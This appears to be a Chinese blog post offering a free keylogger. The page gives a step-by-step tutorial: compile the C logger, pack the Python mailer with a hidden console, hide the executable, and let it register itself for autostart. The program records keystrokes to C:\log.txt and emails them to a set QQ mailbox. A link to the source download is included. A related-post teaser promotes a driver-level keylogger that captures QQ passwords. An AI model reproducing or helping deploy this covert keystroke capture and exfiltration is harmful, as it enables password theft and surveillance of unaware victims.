简介

本程序由C和python实现,C实现键盘记录,python实现发送邮件。

使用教程

1.kb.cpp编译后生成kb.exe
2.进QQ邮箱,设置收、发件人开启smtp服务,并进入收件人邮箱设置,获取授权码。把收发件人的邮箱以及授权码填入sd.py文件相应的位置。


3.安装32位python并安装sd.py需要用的包:pip install requests;安装pyinstaller,用于把python脚本转换为exe程序:pip install pyinstaller;然后输入pyinstaller --onefile --noconsole --icon=“q.ico” sd.py,会生成一堆文件和目录,进dict目录即可找到sd.exe



4.把sd.exe文件放到C盘根目录,kb.exe放到一个隐蔽的目录。

程序运行流程

运行kb.exe后
首先判断是否存在C:\log.txt文件,存在的话就调用sd.exe发送到邮箱,然后删除此log.txt文件。
第二步是判断是否存在C:\start.txt文件,不存在的话设置自己为开机启动项并生成一个start.txt文件表示已成功设置。
第三步是开启监听,发现有按键按下后记录到C:\log.txt文件中。

运行效果

源码下载

链接:https://pan.baidu.com/s/1kqE6BJ20fgqULk4Gi4MnHg
提取码:qtts
复制这段内容后打开百度网盘手机App,操作更方便哦

键盘记录器(有发送到指定qq邮箱的功能。附源代码及使用教程,免费下载)相关推荐

  1. qq浏览器翻译功能启用划词插件教程

    qq浏览器翻译功能启用划词插件教程 qq浏览器翻译功能怎么启用?QQ浏览器对于我们经常浏览qq空间,微信聊天的人来说是非常不错的一个浏览器,而且,QQ浏览器也有非常多不错的功能,比如划词翻译等等.那么 ...

  2. DedeCMS实现自定义表单提交后发送指定QQ邮箱法

    https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&tn=monline_3_dg&wd=dedecms 邮箱&oq=d ...

  3. WordPress配置SMTP发送电子邮件(QQ邮箱)

    Wordpress通过PHP自带的mail函数实现电子邮件的发送成功率极低,现有的各类邮箱,例如QQ邮箱.新浪邮箱.163邮箱等,基本不支持PHP语言的mail函数实现的邮件发送,因此,需要配置基于S ...

  4. SpringBoot发送验证码到QQ邮箱JavaMailSender注入失败

    报错内容 *************************** APPLICATION FAILED TO START ***************************Description: ...

  5. 实现将指定图片载入剪贴板并发送至指定QQ群

    距离上一篇如何实现本地唤醒指定QQ群的文章发表已经过去将近一天了,今天要做的就是在上一篇的基础上实现文章标题中的功能. 我先是大费周章的用了一种笨且不稳定的方法实现将图片载入剪贴板:通过命令行调用Wi ...

  6. mysql自动导出查检数据发mail_centos7上定时将mysql数据导出并且发送到指定的邮箱...

    一.安装sendmail和mutt yum -y install sendmail mutt mailx 二.利用163邮箱向外发邮件 vim /etc/mail.rc 加入最后一行即可,我用的是16 ...

  7. 键盘记录器,可截获到 QQ 的密码

    由于 QQ 密码做了特殊的保护,所以通过远程注入得到密码框内容以及通过钩子来得到键盘消息均不能探测到 QQ 的密码,但是通过对键盘驱动的过滤却是可以记录下 QQ 密码输入期间的内容,附上源码. #de ...

  8. 运行了9年的QQ邮箱经典功能 终于还是迎来了终止服务

    [TechWeb]你还记得QQ邮箱或者微信中的漂流瓶功能吗?继微信下线该功能之后,QQ邮箱也要干掉漂流瓶了. 服务了用户近9年时间的QQ邮箱漂流瓶功能,目前已经被QQ邮箱官方证实,将于明日正式下线. ...

  9. idea实现注册登录时使用QQ邮箱激活功能

    首先建立数据库,我的数据库为: CREATE TABLE user (uid varchar(11) primary key , -- 账号type int default 1, -- 类型, 1注册 ...

最新文章

  1. $(document).ready(function() {})不执行的问题
  2. 简述Docker镜像、容器、仓库概念
  3. python 希尔伯特变换_python scipy signal.hilbert用法及代码示例
  4. 软考系统架构师笔记-综合知识重点(一)
  5. SQL迁移到ORACLE实例
  6. 错过后悔十年!计算机视觉入门到精通,学习书籍推荐
  7. docker中不能读取带.环境变量的问题
  8. Finereport安装
  9. iPhone OS平台:丰富的可能性
  10. centos怎么用命令行启动mysql_centos怎么用命令行启动mysql数据库
  11. ln: creating hard link 问题
  12. T Day-1 星空之夜
  13. vue3里面高德地图绘制3D图形
  14. 配置VRRP负载分担
  15. Java POST JSON 数据处理异常 (code 160)): was expecting double-quote to start field name
  16. React Suspense lazy
  17. java中math.ceil用法_[Java教程]关于Math类的round、floor、ceil三个方法
  18. MATLAB和c#混合编程实现心电图显示软件
  19. 2014全球软件技术峰会WOT:R语言金融数据分析
  20. H3C 交换机 OpenFlow 配置指南

热门文章

  1. 2022五千元笔记本电脑推荐
  2. 湖南省智慧教育装备展示体验中心关于暂停研学、暑假社会实践等活动通知
  3. 第六节 电路搭建 我们何尝不是基建狂魔
  4. 安装oaj2se出现问题
  5. 如何区分项目负责人和项目管理者
  6. PHP中css中文意思是,css中font-family是什么意思
  7. angular技巧_提升Angular技能的5个技巧
  8. 使用思博伦Avalanche进行HTTP双向吞吐量测试 _双极未来
  9. Rocketmq同项目多个生产者多个消费者问题
  10. ssm毕设项目学生宿舍管理系统15pjb(java+VUE+Mybatis+Maven+Mysql+sprnig)